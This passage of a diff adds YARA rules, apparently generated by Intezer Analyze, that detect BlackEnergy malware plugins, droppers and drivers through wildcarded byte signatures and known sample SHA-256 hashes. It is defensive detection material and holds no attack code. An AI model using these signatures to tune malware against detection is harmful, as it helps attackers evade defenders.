+		$block_49 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? 5? 5? C6 ?? ?? ?? FF D? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_50 = { FF 7? ?? 8B ?? ?? ?? ?? ?? 6A ?? FF D? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_51 = { 8D ?? ?? 5? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_52 = { 8D ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? FF D? 85 ?? 0F 85 }
+		$block_53 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_54 = { 8B ?? ?? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_55 = { 8D ?? ?? ?? ?? ?? 8B ?? ?? 68 ?? ?? ?? ?? 33 ?? 8B ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_56 = { 0F BE ?? ?? 33 ?? 81 F? ?? ?? ?? ?? 81 E? ?? ?? ?? ?? 66 ?? ?? ?? ?? 4? 3B ?? 72 }
+		$block_57 = { 8B ?? ?? 69 ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? FF 4? ?? 8B ?? ?? 3B ?? ?? 0F 8C }
+		$block_58 = { 8D ?? ?? 5? 33 ?? 81 C? ?? ?? ?? ?? 5? 66 ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_59 = { 48 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? ?? 49 ?? ?? 41 ?? ?? ?? ?? ?? 0F 1F }
+		$block_60 = { 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_61 = { 8B ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 33 ?? 89 ?? ?? 89 ?? ?? 39 ?? ?? 0F 86 }
+		$block_62 = { 33 ?? 5? 5? 5? 5? 5? E8 ?? ?? ?? ?? CC 8B ?? 5? 8B ?? 5? 5? 5? 8B ?? ?? 85 ?? 75 }
+		$block_63 = { 83 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 0F 85 }
+		$block_64 = { 8B ?? 8D ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_65 = { E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 4? 80 C? ?? 88 ?? ?? ?? ?? ?? ?? 3B ?? 72 }
+		$block_66 = { 8B ?? 8D ?? ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? 5? FF D? 85 ?? 0F 85 }
+		$block_67 = { 8B ?? ?? 8B ?? ?? 6A ?? 5? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_68 = { 8D ?? ?? 33 ?? 5? 66 ?? ?? ?? FF 1? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_69 = { 8B ?? ?? 89 ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 8D ?? ?? 83 ?? ?? 3B ?? ?? 0F 85 }
+		$block_70 = { 8B ?? ?? ?? ?? ?? 5? 6A ?? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_71 = { 5? 8B ?? 83 ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? A1 ?? ?? ?? ?? 5? 85 ?? 0F 85 }
+		$block_72 = { 8B ?? ?? 8B ?? ?? 8B ?? 5? 5? 8B ?? ?? ?? ?? ?? ?? FF D? 83 ?? ?? 85 ?? 0F 84 }
+		$block_73 = { 0F B6 ?? ?? 34 ?? 66 ?? ?? 48 ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? ?? 48 ?? ?? ?? 72 }
+		$block_74 = { 5? 8B ?? 5? 5? 8B ?? ?? 5? 8B ?? 5? 8B ?? ?? 8B ?? ?? 89 ?? ?? 83 ?? ?? 0F 84 }
+		$block_75 = { 0F BE ?? ?? 33 ?? 83 ?? ?? 81 E? ?? ?? ?? ?? 66 ?? ?? ?? ?? 03 ?? 83 ?? ?? 72 }
+		$block_76 = { 8B ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 5? FF D? 85 ?? 0F 85 }
+		$block_77 = { 0F BE ?? ?? 33 ?? 83 ?? ?? 81 E? ?? ?? ?? ?? 66 ?? ?? ?? ?? 4? 83 ?? ?? 72 }
+		$block_78 = { 8D ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 5? 5? 8B ?? ?? FF D? 3B ?? 0F 85 }
+		$block_79 = { 8D ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? 5? 5? FF D? 3B ?? 0F 85 }
+		$block_80 = { 5? 8B ?? ?? ?? ?? ?? 8D ?? ?? 5? 5? C6 ?? ?? ?? FF D? 89 ?? ?? 85 ?? 0F 84 }
+		$block_81 = { 8B ?? 83 ?? ?? 5? FF 3? 6A ?? FF D? 5? FF 1? ?? ?? ?? ?? 89 ?? 85 ?? 0F 84 }
+		$block_82 = { 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_83 = { 33 ?? 83 ?? ?? 0F 95 ?? 8B ?? 8B ?? ?? 33 ?? E8 ?? ?? ?? ?? 8B ?? 5? C3 }
+		$block_84 = { 0F BE ?? ?? F7 ?? 33 ?? 81 E? ?? ?? ?? ?? 66 ?? ?? ?? ?? 4? 83 ?? ?? 72 }
+		$block_85 = { 8D ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_86 = { 8D ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 5? 5? FF D? 85 ?? 0F 85 }
+		$block_87 = { 42 ?? ?? ?? ?? 32 ?? FE ?? 34 ?? 88 ?? ?? ?? 0F B6 ?? 48 ?? ?? ?? 72 }
+		$block_88 = { 8A ?? ?? 32 ?? 80 F? ?? FE ?? 88 ?? ?? ?? 0F B6 ?? 83 ?? ?? 72 }
+		$block_89 = { 8B ?? 33 ?? 0F BE ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 75 }
+		$block_90 = { 89 ?? ?? ?? ?? ?? C6 ?? ?? ?? 8B ?? ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_91 = { 8B ?? ?? ?? ?? ?? 5? 6A ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_92 = { 8A ?? 80 E? ?? 0F BE ?? F7 ?? 1B ?? 81 E? ?? ?? ?? ?? 81 C? }
+		$block_93 = { 8B ?? ?? ?? ?? ?? 33 ?? 66 ?? ?? ?? 3B ?? ?? ?? ?? ?? 0F 84 }
+		$block_94 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 33 ?? 3B ?? 0F 84 }
+		$block_95 = { 8B ?? ?? 8B ?? ?? ?? ?? ?? 0F B7 ?? ?? 83 ?? ?? 5? C3 }
+		$block_96 = { 48 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? 49 ?? ?? 0F 1F }
+		$block_97 = { 8B ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_98 = { 0F BE ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 75 }
+		$block_99 = { 83 ?? ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 0F 85 }
+
+	condition:
+		hash.sha256(0, filesize) == "65fa52f632e4e83ff83120c7df6b90291025a76d5daeb183e814ec0b3bd2bd4e" or
+		hash.sha256(0, filesize) == "86056f462d5783604b7f050047db210ecf698e72f3664b27d58265663ff5b324" or
+		hash.sha256(0, filesize) == "1233cca912fb61873c7388f299a4a1b78054e681941beb31f0a48f8c6d7a182b" or
+		hash.sha256(0, filesize) == "4464c945c88ac9a4a22e86f0922f18c164e87f26c3f3fa054eb488fdd7d4bfc8" or
+		hash.sha256(0, filesize) == "4bcb2a5d99297b30f8ff00e08cf7330d5e2f69fc602bb317bf8e9f703a137a99" or
+		hash.sha256(0, filesize) == "3dea35172449f0b9a86dff9af3b4480cc4c37a30e8cb54963ff91c4c1ffe7b0d" or
+		hash.sha256(0, filesize) == "12e1139ef422c2c0884fb5b1786a8489c1769a96880a30406e4a28b76ea4a73a" or
+		hash.sha256(0, filesize) == "c1b19af1e354f13c90163780be6ad50f02d5bf8bac1c9cc1eab1377a159de1be" or
+		hash.sha256(0, filesize) == "418a21d49fe5bca8a3e050f039a0e2aa03db6d2de0fb49e3ff9d987f31b22dda" or
+		hash.sha256(0, filesize) == "8a5d8d103cb175d7dc41932ef9a890997e25dbe15f94ecd2105835fe49779354" or
+		hash.sha256(0, filesize) == "d469000ca9e6af92876334e3a460ea4ac8a61c1a6ee819eefbfd0c79ea4fb315" or
+		hash.sha256(0, filesize) == "dc70d3046b59785b2b9b7091e26f2484ba7a488dba420a8a05be388a337c399e" or
+		hash.sha256(0, filesize) == "bc7bcb663477238508ce8ad366cc9a77811c7f5eabaec47175858fe972639f40" or
+		hash.sha256(0, filesize) == "fdd7e8582ef8d7a23f269653435582cfe924ca9b2db34af63af5e57d1f3e09c2" or
+		hash.sha256(0, filesize) == "f722677df4fb7eb4ac986a944d4f6630b91ac22b31f8d39ec9bf941376d5d4db" or
+		hash.sha256(0, filesize) == "ac4ffc7a2ba8840a20f6b07aa44328f1802b79ced6a56b3ac7e78fa1178ba65a" or
+		hash.sha256(0, filesize) == "5f827730c7bd155997121f023ca9775077a37a58111738fcb3213757170bd860" or
+		hash.sha256(0, filesize) == "70ae2363191e8b20d1773ecc73afc2b9a5dd8247c7b97eecfd1378f3e7aabf92" or
+		hash.sha256(0, filesize) == "18c0b02776487babbf6219cdaf97cbf2b534e0cf87a527228dda2d4a468a257f" or
+		hash.sha256(0, filesize) == "a5373b33ac970dedeb52528b123959145bf51c95b159a30a7823ad8018ac4b41" or
+		hash.sha256(0, filesize) == "b9c996b06e0db273a4edede3fd6fda2b40b2e0201eba3e8ac581d802fc610a4a" or
+		hash.sha256(0, filesize) == "f6d52c5608931cdf66d71502fcf012b6781edde64ba1f956c1868f7e36d8c8d2" or
+		hash.sha256(0, filesize) == "b9ea2cc39808780ade1fe51287072e958448be7e3a7b32bfd48438453592018c" or
+		hash.sha256(0, filesize) == "01468b1d3e089985a4ed255b6594d24863cfd94a647329c631e4f4e52759f8a9" or
+		hash.sha256(0, filesize) == "7cdb9c2e8b6ca7f0a683a39c0bdadc7a512cff5d8264fdec012c541fd19c0522" or
+		hash.sha256(0, filesize) == "89996b66d5a339939b2072d29675ec3ca6d793f42a5d335a8ea7dab8773321ef" or
+		hash.sha256(0, filesize) == "7ed2d1aceab5f54df4acca63b5d269842d49521e13bab5e652237667c7eef261" or
+		hash.sha256(0, filesize) == "6eeffe540693418a107db3e7d2d9b72a54b2354aa6886b571272aa41f8cc8e0c" or
+		hash.sha256(0, filesize) == "30c69d91247f8a72a69e4d7c4bce3eafba40975e5890c23dc4dbe7c9a11afa73" or
+		hash.sha256(0, filesize) == "1a7239c006a3adf893bdb5c2300b2964ed8bb454e1b622853e4460707dc63c16" or
+		hash.sha256(0, filesize) == "262dbadca239e5259161130ac9f0f5ef50691fd9dc3e3490b6c0d7b76e7ee34e" or
+		hash.sha256(0, filesize) == "9891b5586cede16aa1e1b87380621f68e8956b991cf7675bbe18d2ec61a7522f" or
+		hash.sha256(0, filesize) == "036c5c0075d67f67fee546321f5b9c4f00d37aa9249ffe1627e71946bad4a3d1" or
+		hash.sha256(0, filesize) == "637cabc343e3ed5b447dccb13aa7caf4d3a3eb3cd617d360167f270ec34596ea" or
+		12 of them
+}
+
+rule BlackEnergyPluginMalwareUpdate {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? 8B ?? ?? 8B ?? ?? 03 ?? 8B ?? 2B ?? 89 ?? ?? 3B ?? ?? 0F 83 }
+		$block_1 = { 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8D ?? ?? 5? FF 7? ?? 5? FF 7? ?? FF D? 85 ?? 0F 84 }
+		$block_2 = { 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8D ?? ?? 5? 5? FF 7? ?? FF D? 85 ?? 0F 84 }
+		$block_3 = { 8D ?? ?? 5? 6A ?? 6A ?? FF 7? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_4 = { 5? 8B ?? 83 ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_5 = { 5? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_6 = { 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? FF D? 3D ?? ?? ?? ?? 0F 85 }
+		$block_7 = { FF 7? ?? 8B ?? ?? FF 3? 33 ?? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 85 }
+		$block_8 = { 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? FF D? 3D ?? ?? ?? ?? 0F 85 }
+		$block_9 = { 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? FF D? 83 ?? ?? 0F 85 }
+		$block_10 = { 5? 5? E8 ?? ?? ?? ?? 33 ?? 89 ?? ?? 3B ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "e1fc973641508fa98ad4c338122484f6c3aee64488b0c91f7eccf6453927fdf8" or
+		11 of them
+}
+
+rule BlackEnergyDropper {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 8D ?? ?? ?? ?? ?? 8B ?? ?? 89 ?? BB ?? ?? ?? ?? BE ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? C9 C2 }
+		$block_1 = { E8 ?? ?? ?? ?? 8A ?? ?? 5? D5 ?? F1 8D ?? ?? 5? F7 ?? B9 ?? ?? ?? ?? 8D ?? ?? 5? 6A ?? 5? E9 }
+		$block_2 = { 83 ?? ?? 8D ?? ?? B8 ?? ?? ?? ?? 83 ?? ?? ?? B8 ?? ?? ?? ?? 8D ?? 8B ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_3 = { 4? 9? CD ?? 25 ?? ?? ?? ?? 0D ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4? FC 04 ?? 72 }
+		$block_4 = { 4? 3C ?? 68 ?? ?? ?? ?? BB ?? ?? ?? ?? F8 89 ?? B8 ?? ?? ?? ?? F3 ?? 8D ?? ?? F7 ?? E9 }
+		$block_5 = { 89 ?? 8B ?? ?? B9 ?? ?? ?? ?? 0F B7 ?? ?? 2B ?? 8D ?? ?? ?? 2B ?? 66 ?? ?? ?? 0F 82 }
+		$block_6 = { 6E F7 ?? 03 ?? BF ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 89 ?? ?? BF ?? ?? ?? ?? 8D ?? E9 }
+		$block_7 = { 5? 8B ?? ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 5? 6A ?? FF D? 8B ?? 85 ?? 0F 84 }
+		$block_8 = { 28 ?? ?? ?? C9 89 ?? F7 ?? 0A ?? 8D ?? ?? BA ?? ?? ?? ?? 33 ?? 8A ?? F7 ?? E9 }
+		$block_9 = { 8E ?? 16 B3 ?? 65 ?? 80 3? ?? ?? ?? ?? ?? 5? F7 ?? BA ?? ?? ?? ?? 5? 89 ?? E9 }
+		$block_10 = { 37 81 4? ?? ?? ?? ?? ?? F6 ?? 2A ?? ?? B2 ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_11 = { 0B ?? BB ?? ?? ?? ?? F7 ?? 5? 5? B9 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 03 ?? 0F 85 }
+		$block_12 = { 8B ?? ?? 8D ?? ?? 8B ?? ?? 03 ?? 8B ?? 2B ?? 8B ?? ?? ?? ?? ?? 3B ?? ?? 0F 83 }
+		$block_13 = { 8B ?? ?? 68 ?? ?? ?? ?? 6A ?? 03 ?? E8 ?? ?? ?? ?? 5? FF D? 8B ?? 85 ?? 0F 84 }
+		$block_14 = { 01 ?? EF AA 3C ?? AD 26 ?? ?? ?? ?? ?? F7 ?? 8B ?? 03 ?? D1 ?? 83 ?? ?? E9 }
+		$block_15 = { 8B ?? ?? F7 ?? 8D ?? ?? F7 ?? 8B ?? 2B ?? 83 ?? ?? 89 ?? ?? 3B ?? ?? 0F 86 }
+		$block_16 = { D7 C8 ?? ?? ?? AD 8D ?? ?? 8B ?? ?? ?? 8B ?? 2B ?? D3 ?? 2B ?? 03 ?? 0F 84 }
+		$block_17 = { 89 ?? BA ?? ?? ?? ?? 5? BA ?? ?? ?? ?? 0F B6 ?? 89 ?? BA ?? ?? ?? ?? E9 }
+		$block_18 = { 0F C9 89 ?? F7 ?? 0A ?? 8D ?? ?? BA ?? ?? ?? ?? 33 ?? 8A ?? F7 ?? E9 }
+		$block_19 = { 32 ?? ?? 4? 8E ?? ?? 1C ?? 9? BF ?? ?? ?? ?? D6 89 ?? 8B ?? ?? ?? E9 }
+		$block_20 = { 60 30 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? ?? F7 ?? E9 }
+		$block_21 = { 86 ?? 3F 9A ?? ?? ?? ?? ?? ?? 5? 18 ?? D6 8B ?? ?? ?? 89 ?? ?? E9 }
+		$block_22 = { 5? CD ?? FF 5? ?? 01 ?? 4? 05 ?? ?? ?? ?? D0 ?? ?? ?? ?? ?? EF 75 }
+		$block_23 = { 9A ?? ?? ?? ?? ?? ?? 0A ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_24 = { BF ?? ?? ?? ?? 89 ?? 5? 5? 5? FF D? 80 B? ?? ?? ?? ?? ?? 0F 85 }
+		$block_25 = { 5? 5? 03 ?? 33 ?? F7 ?? 4? 89 ?? ?? E8 ?? ?? ?? ?? 3B ?? 0F 83 }
+		$block_26 = { 1A ?? B0 ?? AF AB 9? 4? 4? 89 ?? ?? E8 ?? ?? ?? ?? 3B ?? 0F 82 }
+		$block_27 = { 8B ?? ?? B9 ?? ?? ?? ?? 89 ?? 8D ?? 2B ?? 0F B7 ?? ?? 2B ?? E9 }
+		$block_28 = { 0F AC ?? ?? 2E ?? ?? E5 ?? D6 05 ?? ?? ?? ?? FF D? 85 ?? 0F 85 }
+		$block_29 = { F9 AC BF ?? ?? ?? ?? B8 ?? ?? ?? ?? 8B ?? ?? F7 ?? F7 ?? E9 }
+		$block_30 = { BB ?? ?? ?? ?? D7 2A ?? 5? A5 5? FF D? 5? 5? 85 ?? 0F 85 }
+		$block_31 = { 89 ?? 8B ?? ?? 89 ?? B9 ?? ?? ?? ?? 0F B7 ?? ?? E9 }
+		$block_32 = { 33 ?? ?? 4? 4? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_33 = { 89 ?? 5? 5? 5? FF D? 80 B? ?? ?? ?? ?? ?? 0F 85 }
+
+	condition:
+		hash.sha256(0, filesize) == "e052ea4fbc3aeed1e46df6966bb60c29c6e706ba8fd737fd9ab414fc29189345" or
+		hash.sha256(0, filesize) == "6d4d0715b274bd8331e67b064416e0806d1c0941930ba9ee6e4bac0eb360f7e6" or
+		hash.sha256(0, filesize) == "23f9272cb2f08dfe5c847ba7764d003310d26585b22ebd1d8d77935907474235" or
+		hash.sha256(0, filesize) == "07a76c1d09a9792c348bb56572692fcc4ea5c96a77a2cddf23c0117d03a0dfad" or
+		12 of them
+}
+
+rule BlackEnergyDriver {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 0F BF ?? ?? BA ?? ?? ?? ?? 89 ?? ?? B9 ?? ?? ?? ?? 8B ?? ?? BA ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E9 }
+		$block_1 = { E8 ?? ?? ?? ?? 48 ?? ?? FF D? BA ?? ?? ?? ?? 33 ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_2 = { 89 ?? ?? 8D ?? ?? 89 ?? 8D ?? ?? ?? ?? ?? ?? 8B ?? ?? B8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 0F 84 }
+		$block_3 = { 03 ?? ?? 8D ?? 8D ?? ?? B9 ?? ?? ?? ?? 89 ?? ?? B9 ?? ?? ?? ?? 89 ?? 8B ?? ?? 83 ?? ?? 0F 84 }
+		$block_4 = { E8 ?? ?? ?? ?? 4? E4 ?? D1 ?? 65 ?? ?? 00 ?? ?? EE 9? 1F D8 ?? ?? 0E 27 13 ?? ?? 9? 07 1E 7F }
+		$block_5 = { 4? 06 60 6A ?? 4? 8B ?? ?? 81 E? ?? ?? ?? ?? FF 0? 8B ?? ?? ?? ?? ?? 8D ?? ?? F7 ?? F7 ?? E9 }
+		$block_6 = { 4? 14 ?? 39 ?? A2 ?? ?? ?? ?? 0D ?? ?? ?? ?? 5? 0C ?? 06 8B ?? ?? 8B ?? 5? 5? 5? 89 ?? ?? E9 }
+		$block_7 = { 89 ?? 89 ?? 8B ?? ?? 8D ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 89 ?? 8B ?? ?? ?? ?? ?? 3B ?? ?? 0F 83 }
+		$block_8 = { 8B ?? ?? F7 ?? 8B ?? ?? 89 ?? 8D ?? ?? ?? ?? ?? ?? 89 ?? 0F B7 ?? ?? C1 ?? ?? 83 ?? ?? 0F 84 }
+		$block_9 = { 0F B6 ?? ?? 8D ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 5? F7 ?? F7 ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 5? E9 }
+		$block_10 = { BA ?? ?? ?? ?? 49 ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 33 ?? FF D? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_11 = { BA ?? ?? ?? ?? 41 ?? ?? E8 ?? ?? ?? ?? 41 ?? ?? ?? ?? 33 ?? FF D? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_12 = { 8B ?? ?? B8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? F7 ?? 0F B6 ?? ?? 89 ?? B9 ?? ?? ?? ?? 89 ?? E9 }
+		$block_13 = { 1E DF ?? ?? ?? ?? ?? 5? 36 ?? ?? D2 ?? D2 ?? 27 BF ?? ?? ?? ?? 1D ?? ?? ?? ?? 9? 04 ?? 73 }
+		$block_14 = { 8B ?? ?? B9 ?? ?? ?? ?? 89 ?? 8D ?? ?? 0F B7 ?? ?? B8 ?? ?? ?? ?? 8D ?? BA ?? ?? ?? ?? E9 }
+		$block_15 = { F7 ?? BA ?? ?? ?? ?? 89 ?? B8 ?? ?? ?? ?? 0F B6 ?? ?? 0F B6 ?? ?? F7 ?? B9 ?? ?? ?? ?? E9 }
+		$block_16 = { 4? D7 3E ?? ?? ?? ?? ?? B1 ?? B8 ?? ?? ?? ?? 8B ?? 89 ?? F7 ?? 8B ?? ?? 83 ?? ?? ?? 0F 87 }
+		$block_17 = { B8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 8D ?? ?? 33 ?? BF ?? ?? ?? ?? F7 ?? 89 ?? 8B ?? 3B ?? 0F 82 }
+		$block_18 = { F7 ?? 03 ?? ?? F7 ?? F7 ?? 89 ?? ?? 89 ?? B9 ?? ?? ?? ?? F7 ?? 8B ?? ?? 83 ?? ?? ?? 0F 85 }
+		$block_19 = { BA ?? ?? ?? ?? 41 ?? ?? E8 ?? ?? ?? ?? 41 ?? ?? ?? 33 ?? FF D? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_20 = { 44 ?? ?? ?? 49 ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 0F B7 ?? ?? 45 ?? ?? 66 ?? ?? ?? ?? 73 }
+		$block_21 = { 8D ?? 8B ?? ?? 0F B7 ?? ?? ?? 89 ?? 8D ?? ?? ?? 5? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 0F 85 }
+		$block_22 = { 8D ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 8D ?? ?? ?? ?? ?? 89 ?? 89 ?? 8B ?? ?? 3B ?? 0F 85 }
+		$block_23 = { F3 ?? ?? ?? 9E E7 ?? 10 ?? D1 ?? ?? ?? ?? ?? 4? FC 8D ?? 89 ?? 8B ?? ?? 3B ?? ?? 0F 8C }
+		$block_24 = { B7 ?? 4? 39 ?? EC F7 ?? 89 ?? F7 ?? C7 ?? ?? ?? ?? ?? ?? F7 ?? 8B ?? ?? 3B ?? ?? 0F 87 }
+		$block_25 = { C5 ?? AC AF 9F 5? 8A ?? FF B? ?? ?? ?? ?? 0E F9 89 ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? E9 }
+		$block_26 = { 03 ?? ?? F7 ?? B9 ?? ?? ?? ?? 8B ?? ?? 89 ?? 89 ?? 8D ?? ?? 8B ?? ?? 39 ?? ?? 0F 82 }
+		$block_27 = { 9D 1F BB ?? ?? ?? ?? A3 ?? ?? ?? ?? 8D ?? ?? 8D ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? E9 }
+		$block_28 = { 8D ?? ?? ?? ?? ?? 89 ?? 8B ?? ?? B9 ?? ?? ?? ?? 0F B7 ?? ?? C1 ?? ?? 83 ?? ?? 0F 85 }
+		$block_29 = { 6E EA ?? ?? ?? ?? ?? ?? 0C ?? 8B ?? ?? 89 ?? B8 ?? ?? ?? ?? 03 ?? ?? F7 ?? 8D ?? E9 }
+		$block_30 = { 4? 8C ?? 89 ?? ?? ?? ?? ?? F7 ?? 8B ?? ?? F7 ?? 8B ?? ?? ?? ?? ?? 3B ?? ?? 0F 82 }
+		$block_31 = { DA ?? ?? 5? 0C ?? 07 03 ?? ?? 89 ?? 0F B6 ?? 89 ?? 33 ?? 8D ?? ?? 8D ?? ?? ?? E9 }
+		$block_32 = { 8B ?? ?? B9 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 03 ?? ?? F7 ?? 8D ?? ?? 0F B6 ?? E9 }
+		$block_33 = { 6E AC 8D ?? ?? ?? ?? ?? C1 ?? ?? 8D ?? ?? ?? ?? ?? F7 ?? 8B ?? ?? ?? C1 ?? ?? E9 }
+		$block_34 = { F7 ?? 8B ?? ?? B9 ?? ?? ?? ?? 8D ?? F7 ?? 8B ?? ?? 0F B7 ?? ?? B8 ?? ?? ?? ?? E9 }
+		$block_35 = { 69 ?? ?? ?? ?? ?? ?? 86 ?? ?? ?? ?? ?? 67 ?? 5? 8B ?? ?? ?? ?? ?? 3B ?? ?? 0F 83 }
+		$block_36 = { 8B ?? ?? B8 ?? ?? ?? ?? F7 ?? 8B ?? ?? B8 ?? ?? ?? ?? 8D ?? ?? 0F BF ?? ?? E9 }
+		$block_37 = { 85 ?? ?? 83 ?? ?? ?? AE 5? 05 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? 3B ?? 0F 82 }
+		$block_38 = { 8B ?? ?? 0F B7 ?? ?? F7 ?? 25 ?? ?? ?? ?? F7 ?? 8D ?? 8D ?? 8B ?? ?? 03 ?? E9 }
+		$block_39 = { 9? 1A ?? 26 ?? 66 ?? ?? ?? 5? D3 ?? 06 10 ?? ?? ?? ?? ?? 19 ?? ?? 1A ?? ?? 78 }
+		$block_40 = { AF 88 ?? ?? ?? ?? ?? 65 ?? 0C ?? FF 5? ?? 5? E4 ?? FF 8? ?? ?? ?? ?? B6 ?? E9 }
+		$block_41 = { 8B ?? ?? 8D ?? 03 ?? ?? 89 ?? 0F B6 ?? 89 ?? 33 ?? 8D ?? ?? 8D ?? ?? ?? E9 }
+		$block_42 = { C4 ?? ?? ?? 20 ?? 5? 9B 6D 14 ?? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_43 = { CC 15 ?? ?? ?? ?? 8A ?? ?? ?? ?? ?? 65 ?? 5? B6 ?? D3 ?? ?? ?? ?? ?? 9D E9 }
+		$block_44 = { 27 99 6B ?? ?? ?? 8A ?? AA F1 89 ?? 8B ?? ?? F7 ?? 89 ?? F7 ?? 5? 8D ?? E9 }
+		$block_45 = { F1 18 ?? 1A ?? ?? A8 ?? 5? B5 ?? 23 ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 5? E9 }
